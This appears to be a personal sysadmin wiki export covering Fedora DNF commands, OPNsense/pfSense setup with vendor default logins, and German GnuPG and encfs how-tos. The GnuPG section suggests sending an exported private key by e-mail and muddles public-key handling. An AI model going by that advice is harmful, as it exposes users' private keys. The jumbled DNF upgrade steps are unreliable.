</div>DNF is a software package manager that installs, updates, and removes packages on Fedora and is the successor to YUM (Yellow-Dog Updater Modified). DNF makes it easy to maintain packages by automatically checking for dependencies and determines the actions required to install packages. This method eliminates the need to manually install or update the package, and its dependencies, using the `rpm` command. DNF is now the default software package management tool in Fedora.

## Usage

`dnf` can be used exactly as `yum` to search, install or remove packages.

To search the repositories for a package type:

<div class="sect1" id="bkmrk--1"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div>```
# dnf search packagename
```

<div class="sect1" id="bkmrk--2"><div class="sect1"><div class="sectionbody"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div>To install the package:

<div class="sect1" id="bkmrk--3"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div>```
# dnf install packagename
```

<div class="sect1" id="bkmrk--4"><div class="sect1"><div class="sectionbody"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div>To remove a package:

<div class="sect1" id="bkmrk--5"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div>```
# dnf remove packagename
```

<div class="sect1" id="bkmrk--6"><div class="sect1"><div class="sectionbody"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div>Other common DNF commands include:

<div class="sect1" id="bkmrk-autoremove---removes"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="ulist">- `autoremove` - removes packages installed as dependencies that are no longer required by currently installed programs.
- `check-update` - checks for updates, but does not download or install the packages.
- `downgrade` - reverts to the previous version of a package.
- `info` - provides basic information about the package including name, version, release, and description.
- `reinstall` - reinstalls the currently installed package.
- `upgrade` - checks the repositories for newer packages and updates them.
- `exclude` - exclude a package from the transaction.

</div><div class="paragraph">  
</div></div></div></div>For more DNF commands refer to the man pages by typing `man dnf` at the command-line, or [DNF Read The Docs](https://dnf.readthedocs.io/en/latest/command_ref.html)

## Automatic Updates

The `dnf-automatic` package is a component that allows automatic download and installation of updates. It can automatically monitor and report, via e-mail, the availability of updates or send a log about downloaded packages and installed updates.

For more information, refer to the [Read the Docs: DNF-Automatic](https://dnf.readthedocs.org/en/latest/automatic.html) page.

## System Upgrades

To update your Fedora Linux release from the command-line do:

```bash
sudo dnf upgrade --refresh
```

<div class="listingblock" id="bkmrk--7"><div class="content"><div class="source-toolbox">  
</div></div></div>- and reboot your computer.
    
    **Important:** Do not skip this step. System updates are required to receive signing keys of higher-versioned releases, and they often fix problems related to the upgrade process.
- Download the updated packages:
    
    ```bash
    sudo dnf system-upgrade download --releasever=43
    ```
    
    <div class="listingblock"><div class="content"><div class="source-toolbox">  
    </div></div></div>

Change the `--releasever=` number if you want to upgrade to a different release. Most people will want to upgrade to the latest stable release, which is `43`, but in some cases, such as when you’re currently running an older release than `42`, you may want to upgrade just to Fedora Linux `42`. System upgrade is only officially supported and tested over 2 releases at most (e.g. from `41` to `43`). If you need to upgrade over more releases, it is recommended to do it in several smaller steps ([read more](https://docs.fedoraproject.org/en-US/quick-docs/upgrading-fedora-offline/#sect-how-many-releases-can-i-upgrade-across-at-once)).

## Language Support Using DNF

DNF can be used to install or remove Language Support. A detailed description with a list of available languages can be found on [Language Support Using Dnf](https://fedoraproject.org/wiki/I18N/Language_Support_Using_Dnf) page.

## Plugins

The core DNF functionality can be extended with plugins. There are officially supported [Core DNF plugins](https://dnf-plugins-core.readthedocs.io) and also third-party [Extras DNF Plugins](https://dnf-plugins-extras.readthedocs.io). To install them, run

<div class="sect1" id="bkmrk--8"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div>```
# dnf install dnf-plugins-core-PLUGIN_NAME
```

<div class="sect1" id="bkmrk--9"><div class="sect1"><div class="sectionbody"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div>or

<div class="sect1" id="bkmrk--10"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div>```
# dnf install dnf-plugins-extras-PLUGIN_NAME
```

## Excluding Packages From Transactions

Sometimes it is useful to ignore specific packages from transactions, such as updates. One such case, for example, could be when an update includes a regression or a bug. DNF allows you to exclude a package from the transaction:

<div class="sect1" id="bkmrk-using-the-command-li"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="ulist">- using the command line

</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div>```
sudo dnf upgrade --exclude=packagename
```

<div class="sect1" id="bkmrk-using-its-configurat"><div class="sect1"><div class="sectionbody"><div class="listingblock"><div class="content">  
</div></div><div class="ulist">- using its configuration files

</div><div class="paragraph">  
</div></div></div></div>You can add a line to `/etc/dnf/dnf.conf` to exclude packages:

<div class="sect1" id="bkmrk--11"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div>```
excludepkgs=packagename
```

<div class="sect1" id="bkmrk--12"><div class="sect1"><div class="sectionbody"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div>This can also be added to the specific repository configuration files in `/etc/yum.repos.d/`. [Globs](https://en.wikipedia.org/wiki/Glob_(programming)) may be used here to list multiple packages, and each specification must be separated by a comma. If you have used this configuration, you can disable it in individual DNF commands using using the `--disableexcludes` command line switch.

If you use a GUI update application which does not allow you to specify packages to exclude when they run, this method can be used.

### Using the DNF Versionlock plugin

You can also use the DNF `versionlock` plugin to limit the packages that are included in a transaction. It allows you to list what versions of particular packages should be considered in a transaction. All other versions of the specified packages will be ignored. The plugin is part of `dnf-plugins-core` package and can be installed using the command below:

<div class="sect1" id="bkmrk--13"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="sect2"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div></div>```
sudo dnf install 'dnf-command(versionlock)'
```

<div class="sect1" id="bkmrk--14"><div class="sect1"><div class="sectionbody"><div class="sect2"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div></div>To lock the currently installed version of a package, use:

<div class="sect1" id="bkmrk--15"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="sect2"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div></div>```
sudo dnf versionlock add package
```

<div class="sect1" id="bkmrk--16"><div class="sect1"><div class="sectionbody"><div class="sect2"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div></div>To remove the version lock, use:

<div class="sect1" id="bkmrk--17"><div class="sect1"><div class="sect1"><div class="sectionbody"><div class="sect2"><div class="paragraph">  
</div><div class="listingblock"><div class="content">  
</div></div></div></div></div></div></div>```
sudo dnf versionlock delete package
```

<div class="sect1" id="bkmrk--18"><div class="sect1"><div class="sectionbody"><div class="sect2"><div class="listingblock"><div class="content">  
</div></div><div class="paragraph">  
</div></div></div></div></div>The `list` command can be used to list all locked packages, while the `clear` command will delete all locked entries.

## References

<div class="sect1" id="bkmrk-dnf-command-referenc"><div class="sectionbody"><div class="olist arabic">1. [DNF Command Reference](https://dnf.readthedocs.io/en/latest/command_ref.html)
2. [DNF wiki](https://github.com/rpm-software-management/dnf/wiki)
3. [DNF VersionLock](https://dnf-plugins-core.readthedocs.io/en/latest/versionlock.html)

</div></div></div>

# Firewall

Opensense   
pfSense

# OpnSense installieren

#### Standard-User

installer  
opnsense

root  
opnsense

#### installieren

1. Einloggen als installer
2. Install ZFS
3. stripe
4. alles ganz normal
5. Qemo auswählen
6. Root Passwort ändern
7. Complete install

#### Netzwerk einrichten 

Proxmox Shell

```
vim /etc/network/interfaces

 
```

# pfSense

Installation wie opnSense

[your home router SUCKS!! (use pfSense instead) - Invidious (oelrichsgarcia.de)](https://yt.oelrichsgarcia.de/watch?v=lUzSsX4T4WQ)

1. Userlogin

admin  
pfsense

# OpnSense Konfigurieren

Auf Proxmox muss QEMU Guast Agent aktiviert sein und auf OpnSense das Plugin installiert.

Videos:   
[https://www.youtube.com/watch?v=tVX2z85wGmg&amp;t=2556](https://www.youtube.com/watch?v=tVX2z85wGmg&t=2556)

### DNS Server  


Entweder DNSforge direkt verwenden oder eben über einen Pi-Hole gehen.

Wichtig: Es sollte Allow DNS server lsit to bie overridden deaktivert werden.

### Unbound DNS   


Was ist das? Sollte eingeschaltet werden

**Konfiguration**

Network interfaces &gt; LAN würde reichen

### DHCP einstellen  


Services &gt; DHCPv4 &gt; Enable DHCP

Range: 10 - 199 dann kann man feste IP-Adressen von 200 ab sauber verteilen

### Firewall

#### NAT Port Forwarding

Dadurch kann man Ports auf diverse PCs weiterleiten

**Firewall &gt; NAT &gt; Port Forward**

#### Aliases

Namen zu Hosts zuteilen

- Name Eintragen
- Content: IP-Adresse des Hosts

Man könnte hier alles was über Port 80 rein kommt direkt an einen Reverse Proxy weiter leiten und so den nginx reverse Proxy hinter die Firewall packen

### VLANs

Ein VLAN anlegen (Interfaces &gt; Other Types &gt; VLANS)

- Parent: Lan
- VLAN Tag: Zahl zwischen 1 und 4096

**Im Anschluss muss das VLAN noch über Assignments an ein Interface verknüpfen**

**\[opt1\]**

Enable

IPv4 Configuration Type: Static IPv4

IPv4 Adresse: Einstellen (z.B. 10.10.1.1

Danach muss noch DHCP in dem Net aktiviert werden.

# Verschlüsseln und Datenschutz

# GnuPG

### Schnellübersicht

<table border="1" id="bkmrk-befehl-kommentar-gpg" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>**Befehl**  
</td><td>**Kommentar**  
</td></tr><tr><td>`<span class="xml">gpg -e -r <span class="hljs-tag"><<span class="hljs-name">Empfänger-Schlüssel-ID</span>></span> <span class="hljs-tag"><<span class="hljs-name">Datei</span>></span></span>`</td><td>Datei verschlüsseln</td></tr><tr><td><span class="xml">`gpg -d <span class="hljs-tag"><<span class="hljs-name">verschlüsselte-Datei.gpg</span>></span> > entschlüsselte-Datei`</span></td><td>Datei entschlüsseln  
</td></tr><tr><td><span class="xml">`gpg --import private-key.asc`  
</span></td><td>Schlüssel importieren</td></tr><tr><td><span class="xml">`gpg --delete-key`</span></td><td>Gefolgt vom Namen oder Fingerabdruck  
</td></tr></tbody></table>

### Komplettübersicht

<table border="1" id="bkmrk-befehl-kommentar-gpg-1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>**Befehl**</td><td>**Kommentar**</td></tr><tr><td>gpg -k</td><td>Liste der Schlüssel</td></tr><tr><td>  
</td><td>  
</td></tr></tbody></table>

### Verschlüsseln

Um eine Datei mit GnuPG auf einem Debian Linux zu verschlüsseln, können Sie die folgenden Schritte ausführen:

#### GnuPG installieren  


GnuPG installieren Falls GnuPG noch nicht auf Ihrem Debian Linux-System installiert ist, können Sie es mit folgendem Befehl installieren:

```
sudo apt-get update sudo apt-get install gnupg
```

#### Schlüsselpaar generieren  


GnuPG-Schlüsselpaar generieren Falls Sie noch keinen GnuPG-Schlüssel haben, müssen Sie zuerst ein Schlüsselpaar generieren. Hierzu können Sie den folgenden Befehl ausführen:

```
gpg --gen-key
```

Dieser Befehl startet den Assistenten zur Schlüsselerstellung, der Sie durch die Schritte zur Erstellung eines Schlüsselpaars führt. Sie werden unter anderem nach Ihrem Namen, Ihrer E-Mail-Adresse und einem Passwort gefragt. Nachdem der Assistent abgeschlossen ist, wird Ihr Schlüsselpaar generiert und in Ihrem GnuPG-Schlüsselring gespeichert.

#### Datei verschlüsseln

Um eine Datei zu verschlüsseln, verwenden Sie den folgenden Befehl:

```
gpg -e -r <Empfänger-Schlüssel-ID> <Datei>
```

Ersetzen Sie `<Empfänger-Schlüssel-ID>` durch die Schlüssel-ID des Empfängers, an den Sie die verschlüsselte Datei senden möchten. Sie können die Schlüssel-ID des Empfängers entweder in dessen öffentlichem Schlüssel oder in einem Keyserver finden.

Beispiel:

```
gpg -e -r john@example.com secret.txt
```

Dieser Befehl verschlüsselt die Datei `secret.txt` mit dem öffentlichen Schlüssel, der mit der E-Mail-Adresse `john@example.com` verknüpft ist.

Schritt 4: Verschlüsselte Datei speichern Nachdem die Datei erfolgreich verschlüsselt wurde, wird eine neue Datei mit der Erweiterung `.gpg` erstellt, die die verschlüsselten Daten enthält. Sie können diese Datei nun an den Empfänger senden oder anderweitig speichern.

Das war's! Sie haben erfolgreich eine Datei mit GnuPG auf Debian Linux verschlüsselt. Der Empfänger kann die Datei mit seinem privaten Schlüssel entschlüsseln, um auf den Inhalt zuzugreifen

### Entschlüsseln am Mac

Verschlüsseln mit GnuPG

Um Ihren privaten Schlüssel von einem Debian Linux-System auf einen Mac zu übertragen und eine mit GnuPG verschlüsselte Datei zu entschlüsseln, können Sie die folgenden Schritte ausführen:

#### Privaten Schlüssel exportieren

Auf Ihrem Debian Linux-System können Sie Ihren privaten Schlüssel mit dem folgenden Befehl exportieren:

```
gpg --export-secret-keys -o private-key.asc
```

Dieser Befehl exportiert Ihren privaten Schlüssel in eine Datei mit dem Namen `private-key.asc`. Sie sollten diese Datei sicher speichern, da sie Ihren privaten Schlüssel enthält und Zugriff darauf Dritten ermöglichen würde.

#### Privaten Schlüssel auf den Mac übertragen

Sie können den privaten Schlüssel `private-key.asc` auf den Mac übertragen, z.B. per E-Mail, USB-Stick oder über das Netzwerk.

#### GnuPG auf dem Mac installieren

Falls GnuPG noch nicht auf Ihrem Mac installiert ist, können Sie es mit folgendem Befehl installieren:

```
brew install gnupg
```

Hinweis: Sie müssen Homebrew auf Ihrem Mac installiert haben, um den obigen Befehl auszuführen. Informationen zur Installation von Homebrew finden Sie unter [https://brew.sh/](https://brew.sh/).

#### Privaten Schlüssel auf dem Mac importieren

Nachdem Sie den privaten Schlüssel `private-key.asc` auf den Mac übertragen haben, können Sie ihn mit dem folgenden Befehl importieren:

```
gpg --import private-key.asc
```

GnuPG importiert den privaten Schlüssel in Ihren Schlüsselring auf dem Mac.

#### Datei entschlüsseln

Nachdem Sie Ihren privaten Schlüssel erfolgreich auf dem Mac importiert haben, können Sie die mit GnuPG verschlüsselte Datei entschlüsseln. Verwenden Sie dazu den folgenden Befehl:

```
gpg -d <verschlüsselte-Datei.gpg> > entschlüsselte-Datei
```

Ersetzen Sie `<verschlüsselte-Datei.gpg>` durch den Dateinamen der verschlüsselten Datei und `<entschlüsselte-Datei>` durch den gewünschten Dateinamen für die entschlüsselte Datei.

Beispiel:

```
gpg -d secret.txt.gpg > secret-decrypted.txt
```

Dieser Befehl entschlüsselt die Datei `secret.txt.gpg` und speichert den entschlüsselten Inhalt in der Datei `secret-decrypted.txt`.

Das war's! Sie haben erfolgreich Ihren privaten Schlüssel von Debian Linux auf einen Mac übertragen und eine mit GnuPG verschlüsselte Datei entschlüsselt. Beachten Sie bitte, dass der private Schlüssel sensitiv ist und mit Vorsicht behandelt werden sollte, um unbefugten Zugriff zu vermeiden

### Öffentlichen Schlüssel exportieren

Um einen öffentlichen Schlüssel zu exportieren, müssen Sie den öffentlichen Schlüssel in einer geeigneten Datei speichern. Hier ist ein Beispiel, wie Sie dies mit dem GnuPG (GNU Privacy Guard) Tool tun können, das oft für die Verwaltung von Schlüsselpaaren verwendet wird:

Öffnen Sie ein Terminal auf Ihrem Linux Debian-System.  
Überprüfen Sie zunächst, ob GnuPG installiert ist. Wenn es nicht installiert ist, können Sie es mit dem folgenden Befehl installieren:

```
sudo apt-get update
sudo apt-get install gnupg
```

  
Exportieren Sie den öffentlichen Schlüssel mit dem gpg Befehl und speichern Sie ihn in einer Datei. Hier ist ein Beispielbefehl:

```
gpg --output <Dateiname>.asc --armor --export <Key-ID>
```

  
Ersetzen Sie `<Dateiname>` durch den gewünschten Dateinamen, unter dem der öffentliche Schlüssel gespeichert werden soll, und `<Key-ID> `durch die ID des öffentlichen Schlüssels, den Sie exportieren möchten. Sie können die ID Ihres öffentlichen Schlüssels mit dem Befehl `gpg --list-keys` anzeigen lassen.

Beachten Sie, dass der --armor-Schalter verwendet wird, um den exportierten Schlüssel im ASCII-Rüstungformat zu speichern, das häufig für die Weitergabe von Schlüsseln über Text basierte Kanäle wie E-Mail verwendet wird.

Nachdem der Befehl ausgeführt wurde, wird der öffentliche Schlüssel in der angegebenen Datei mit der Erweiterung .asc gespeichert. Sie können die Datei mit einem Texteditor öffnen, um den exportierten öffentlichen Schlüssel anzuzeigen oder ihn auf andere Weise weiterzugeben, z. B. per E-Mail oder auf einer Webseite.  
Bitte beachten Sie, dass der öffentliche Schlüssel allgemein zugänglich ist und von jedermann verwendet werden kann, um Ihnen verschlüsselte Nachrichten zu senden oder Ihre Signaturen zu überprüfen. Schützen Sie daher den exportierten öffentlichen Schlüssel sorgfältig und übertragen Sie ihn sicher an die beabsichtigten Empfänger


### Öffentlichen Schlüssel importieren

Um einen öffentlichen Schlüssel zu importieren und damit Dateien zu verschlüsseln, können Sie das GnuPG (GNU Privacy Guard) Tool verwenden. Hier ist ein Beispiel, wie Sie dies auf einem Linux Debian-System tun können:

Öffnen Sie ein Terminal auf Ihrem Linux Debian-System.  
Überprüfen Sie zunächst, ob GnuPG installiert ist. Wenn es nicht installiert ist, können Sie es mit dem folgenden Befehl installieren:

```
sudo apt-get update
sudo apt-get install gnupg
```

  
Laden Sie den öffentlichen Schlüssel herunter oder erhalten Sie ihn von der Person, die Ihnen die Dateien verschlüsselt hat. Der öffentliche Schlüssel wird normalerweise in einer Datei mit der Erweiterung .asc oder .gpg bereitgestellt.  
Importieren Sie den öffentlichen Schlüssel mit dem gpg Befehl. Hier ist ein Beispielbefehl:

```
gpg --import <Dateiname>.asc
```

  
Ersetzen Sie `<Dateiname> `durch den tatsächlichen Namen der Datei, die den öffentlichen Schlüssel enthält.

GnuPG wird den öffentlichen Schlüssel importieren und in Ihrem GnuPG-Schlüsselbund speichern.  
Sie können nun Dateien mit dem importierten öffentlichen Schlüssel verschlüsseln. Verwenden Sie dazu den gpg Befehl und geben Sie den Dateinamen als Argument an. Hier ist ein Beispielbefehl:

```
gpg --encrypt --recipient <Empfänger> <Dateiname>
```

  
Ersetzen Sie &lt;Empfänger&gt; durch den Namen oder die E-Mail-Adresse des Empfängers, für den Sie die Dateien verschlüsseln möchten, und &lt;Dateiname&gt; durch den Namen der Datei, die Sie verschlüsseln möchten.

GnuPG erstellt eine verschlüsselte Version der Datei mit der Erweiterung .gpg. Diese verschlüsselte Datei kann an den Empfänger gesendet werden. Der Empfänger kann die Datei dann mit seinem privaten Schlüssel entschlüsseln.  
Bitte beachten Sie, dass der private Schlüssel, der zum Entschlüsseln der Dateien benötigt wird, geheim und sicher aufbewahrt werden muss und nicht an unbefugte Personen weitergegeben werden darf

### Keyserver

Unter [keyserver2.gnupg.org](http://keyserver2.gnupg.org/) kann man seinen Key Hochladen und auch andere finden.

### Schlüssel vertrauen

1. Schlüssel überprüfen: Überprüfen Sie Ihren eigenen Schlüssel, um sicherzustellen, dass er korrekt erstellt wurde. Sie können dies tun, indem Sie den Fingerabdruck Ihres Schlüssels überprüfen und ihn mit anderen vertrauenswürdigen Quellen, z.B. Ihrer eigenen Notiz oder einem vertrauenswürdigen Freund, abgleichen.
2. Vertrauenseinstellungen ändern: Ändern Sie die Vertrauenseinstellungen für Ihren eigenen Schlüssel. Verwenden Sie dazu den Befehl `gpg --edit-key` gefolgt von Ihrem Schlüsselnamen oder Fingerabdruck. Dies öffnet den GnuPG-Editor für Ihren Schlüssel.
3. Vertrauensstellung festlegen: Im GnuPG-Editor können Sie die Vertrauensstellung für Ihren eigenen Schlüssel festlegen. Verwenden Sie den Befehl `trust`, gefolgt von der gewünschten Vertrauensstufe, die Sie für Ihren eigenen Schlüssel festlegen möchten. Zum Beispiel können Sie die Vertrauensstufe "Ultimate" (höchstes Vertrauen) festlegen, indem Sie `5` eingeben und mit Enter bestätigen.
4. Änderungen speichern: Speichern Sie die vorgenommenen Änderungen im GnuPG-Editor mit dem Befehl `save` und bestätigen Sie die Speicherung mit Enter.
5. Editor verlassen: Verlassen Sie den GnuPG-Editor mit dem Befehl `quit`, um zum Hauptterminal zurückzukehren.

#### Schlüssel löschen

- Geben Sie den Befehl `gpg --list-keys` ein, um eine Liste der vorhandenen Schlüssel in Ihrem GnuPG-Schlüsselbund anzuzeigen. Finden Sie den Schlüssel, den Sie entfernen möchten, anhand seines Namens oder seines Fingerabdrucks.
- Geben Sie den Befehl `gpg --delete-key` gefolgt von dem Namen oder Fingerabdruck des Schlüssels ein, den Sie entfernen möchten. Zum Beispiel: `gpg --delete-key JohnDoe` oder `gpg --delete-key 0x12345678`.

# GPG-Signaturen überprüfen

Eigentlich sollte man niemals Dateien aus dem Internet herunterladen und einfach auf dem eigenen Computer installieren. Linux-Nutzer\*innen sollten immer die Paketverwaltung ihres Betriebssystems benutzen, die sicherstellt dass die installierten Pakete vertrauenswürdig sind.

Manchmal ist das aber nicht möglich, zum Beispiel wenn man Windows verwendet. Besonders für sicherheitskritische Software, wie den [Tor Browser](https://wiki.systemli.org/howto/torbrowser "howto:torbrowser") oder die Passwortverwaltung [KeePassXC](https://dereferrer.tem.li/?https%3A%2F%2Fkeepassxc.org "https://dereferrer.tem.li?https%3A%2F%2Fkeepassxc.org") ist es üblich, die Installations-Datei mit einer digitalen Signatur zu versehen. Dadurch können andere überprüfen, ob die Datei die sie heruntergeladen haben auch tatsächlich der\*dem Entwickler\*in der Software stammt und keien Schadsoftware beinhaltet.

<div class="level1" id="bkmrk-f%C3%BCr-die-%C3%9Cberpr%C3%BCfung-"><div class="plugin_note noteclassic">Für die Überprüfung einer Signatur musst du GnuPG (Gnu Privacy Guard) installiert haben. Auf Linux-Systemen ist GnuPG vorinstalliert. Windows-Nutzer*innen müssen vorher [GPG4Win](https://dereferrer.tem.li/?https%3A%2F%2Fwww.gpg4win.org%2F "https://dereferrer.tem.li?https%3A%2F%2Fwww.gpg4win.org%2F") installieren, für Mac gibt es die [GPG-Suite](https://dereferrer.tem.li/?https%3A%2F%2Fgpgtools.org%2F "https://dereferrer.tem.li?https%3A%2F%2Fgpgtools.org%2F")</div></div>### 1. Schritt: Datei und Signatur besorgen

Lade zunächst Datei und Signatur herunter und **speichere sie im selben Verzeichnis ab**. Eine Signatur-Datei hat immer denselben Namen wie die ursprüngliche Datei mit dem Zusatz „.sig“ oder „.gpg“. Die Signatur-Datei zu einer Datei namens *Tor\_Browser.exe* heißt dann etwa *Tor\_Browser.exe.sig*

### 2. Schritt: Signatur überprüfen

<div class="level2" id="bkmrk-">  
</div>#### 2.1 Überprüfung mit grafischer Oberfläche

Es gibt für GnuPG verschiedene grafische Frontends, die es dir ersparen Befehle ins Terminal einzugeben.

##### Windows

Bei der Installation von [GPG4Win](https://dereferrer.tem.li/?https%3A%2F%2Fwww.gpg4win.org%2F "https://dereferrer.tem.li?https%3A%2F%2Fwww.gpg4win.org%2F") wirst du gefragt, ob du [Kleopatra](https://dereferrer.tem.li/?https%3A%2F%2Fkde.org%2Fapplications%2Futilities%2Fkleopatra%2F "https://dereferrer.tem.li?https%3A%2F%2Fkde.org%2Fapplications%2Futilities%2Fkleopatra%2F") oder GnuPrivacyAssistend als grafische Oberfläche mitinstallieren möchtest. *Kleopatra* ist wesentlich benutzer\*innenfreundlicher und erweitert das Kontext-Menü (Rechtsklick-Menü) deines Dateibrowsers um die wichtigsten GPG-Funktionen.

Du kannst nun einfach das Verzeichnis öffnen, die Signatur-Datei mit Rechtsklick auswählen und „Entschlüsseln/Überprüfen“ auswählen.

Weiter unter <span class="curid">[Schritt 3](https://wiki.systemli.org/howto/howto/gpgsignatur#schrittfingerprint_ueberpruefen "howto:howto:gpgsignatur")</span>.

##### Linux

Linux kannst du [Kleopatra](https://dereferrer.tem.li/?https%3A%2F%2Fkde.org%2Fapplications%2Futilities%2Fkleopatra%2F "https://dereferrer.tem.li?https%3A%2F%2Fkde.org%2Fapplications%2Futilities%2Fkleopatra%2F") oder [Seahorse](https://dereferrer.tem.li/?https%3A%2F%2Fwiki.gnome.org%2FApps%2FSeahorse%2F "https://dereferrer.tem.li?https%3A%2F%2Fwiki.gnome.org%2FApps%2FSeahorse%2F") verwenden.

##### Kleopatra

<div class="level5" id="bkmrk-integriert-sich-sehr">- <div class="li">integriert sich sehr gut in Kubuntu und andere KDE Desktops.</div>
- <div class="li">installiere dafür das Paket `kleopatra`</div>

</div>##### Seahorse

<div class="level5" id="bkmrk-integriert-sich-sehr-1"><div class="level5">- <div class="li">integriert sich sehr gut in die Desktop-Umgebungen GNOME (dem Standard-Desktop von Ubuntu), MATE und Cinnamon.</div>
- <div class="li">Installiere dafür Paket `Seahorse` und die zugehörige Erweiterung für deinen Filebrowser, `seahorse-nautilus` (GNOME), `nemo-seahorse` (Cinnamon) `caja-seahorse` (MATE)</div>

</div></div>Nachdem du das passende Programm installiert hast, kannst du das Verzeichnis öffnen in dem die Dateien liegen und mit Rechtsklick auf die Signatur-Datei die Signatur überprüfen.

Weiter unter <span class="curid">[Schritt 3](https://wiki.systemli.org/howto/howto/gpgsignatur#schrittfingerprint_ueberpruefen "howto:howto:gpgsignatur")</span>.

#### MacOs

Bei der Installation der [GPG-Suite](https://dereferrer.tem.li/?https%3A%2F%2Fgpgtools.org%2F "https://dereferrer.tem.li?https%3A%2F%2Fgpgtools.org%2F") wird eine grafisches Oberfläche mitinstalliert. Du kannst im Filebrowser die Signatur-Datei im Kontext-Menü (Rechtsklick) auswählen und die Signatur überprüfen.

Weiter unter <span class="curid">[Schritt 3](https://wiki.systemli.org/howto/howto/gpgsignatur#schrittfingerprint_ueberpruefen "howto:howto:gpgsignatur")</span>.

#### 2.2 Überprüfung mit Terminal

Öffne das Terminal und bewege dich mit **cd** in das Verzeichnis, in dem die Datei lieg die du überprüfen willst.

```
cd /Pfad/zur/Datei/
```

Mit ls kannst du überprüfen, welche Dateien im Verzeichnis liegen (und wie genau sie heißen)

```
ls
```

Der Output des Terminals könnte nun sein: **`Dateiname.exe Dateiname.exe.sig`**

Jetzt kannst du die Dateien mit GnuPG (gpg) überprüfen. Der kurze Befehl dafür ist `gpg –verify`. Weil gpg aber den öffentlichen Schlüssel der Unterzeichnerin benötigt, würde es eine Fehlermeldung herausgeben dass es den öffentlichen Schlüssel nicht auf deinem Computer gefunden hat. Als zusätzliche Option kannst du deswegen –auto-key-retrieve angeben. Dadurch wird gpg die Identität der Unterzeichnerin aus der Signatur ablesen, deren Öffentlichen Schlüssel herunterladen und die Dateien überprüfen. Wichtig ist nur, dass im Anschluss daran **erst** die Signatur, und **danach** die Datei selber angegeben werden:

```
gpg  --verify  --auto-key-retrieve  Dateiname.exe.sig  Dateiname.exe 
```

### 3. Schritt: Fingerprint überprüfen

Die Antwort von GPG sollte etwa so aussehen:

```
gpg: Good signature from "Irgendeine Identität <user@mail.org>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: AAAA BBBB CCCC DDDD EEEE  FFFF GGGG HHHH IIII
```

Wichtig ist der Teil **Good signature from…**

Die Warnung kannst du ignorieren, das bedeuet nur das der Öffentliche Key bisher nicht von dir als *vertrauenswürdig* signiert wurde.

Aber ob diese Person auch wirklich die richtige ist, musst du selber herausfinden.Dazu schaust du auf der Webseite dieser Person nach, ob der Fingerprint `AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII` auch tatsächlich ihr gehört. Wenn es sich um Software handelt Du kannst den Fingerprint auch in verschiedene Suchmaschinen tippen, und gucken ob es vertrauenswürdige Seiten gibt die diesen Fingerprint mit derjenigen Person assoziieren.

# Ordner verschlüsseln

Um einen Ordner in Linux zu verschlüsseln, kannst du das Programm "encfs" verwenden. Hier ist eine Schritt-für-Schritt-Anleitung, wie du vorgehen kannst:

1\. Installiere "encfs" auf deinem Linux-System, falls es noch nicht installiert ist. Dies kannst du in der Regel über den Paketmanager deiner Distribution tun. Zum Beispiel kannst du unter Ubuntu den folgenden Befehl ausführen:

```
sudo apt-get install encfs
```

2\. Erstelle einen leeren Ordner, der als "verschlüsselter" Ordner dienen wird. Du kannst dies an einem beliebigen Ort tun. Zum Beispiel:  
 ```  
 mkdir ~/encrypted\_folder  
 ```

3\. Führe den folgenden Befehl aus, um den verschlüsselten Ordner einzurichten:  
 ```  
 encfs ~/encrypted\_folder ~/decrypted\_folder  
 ```

 Dabei ist "~/encrypted\_folder" der Pfad zum verschlüsselten Ordner und "~/decrypted\_folder" der Pfad zum entschlüsselten Ordner.

4\. Während der Einrichtung wirst du nach der Art der Verschlüsselung gefragt. Du kannst die Standardeinstellungen verwenden, indem du einfach Enter drückst.

5\. Anschließend wirst du aufgefordert, ein Passwort für die Verschlüsselung festzulegen. Gib ein starkes Passwort ein und bestätige es.

6\. Sobald die Einrichtung abgeschlossen ist, kannst du den verschlüsselten Ordner verwenden, indem du Dateien in den entschlüsselten Ordner kopierst. Die Dateien werden automatisch verschlüsselt und im verschlüsselten Ordner gespeichert.

7\. Wenn du auf die verschlüsselten Dateien zugreifen möchtest, musst du den verschlüsselten Ordner zunächst mounten. Führe dazu den folgenden Befehl aus:  
 ```  
 encfs ~/encrypted\_folder ~/decrypted\_folder  
 ```

8\. Du wirst erneut nach dem Passwort gefragt. Gib das Passwort ein, das du bei der Einrichtung festgelegt hast.

9\. Sobald der Ordner gemountet ist, kannst du auf die Dateien im entschlüsselten Ordner zugreifen und sie verwenden.

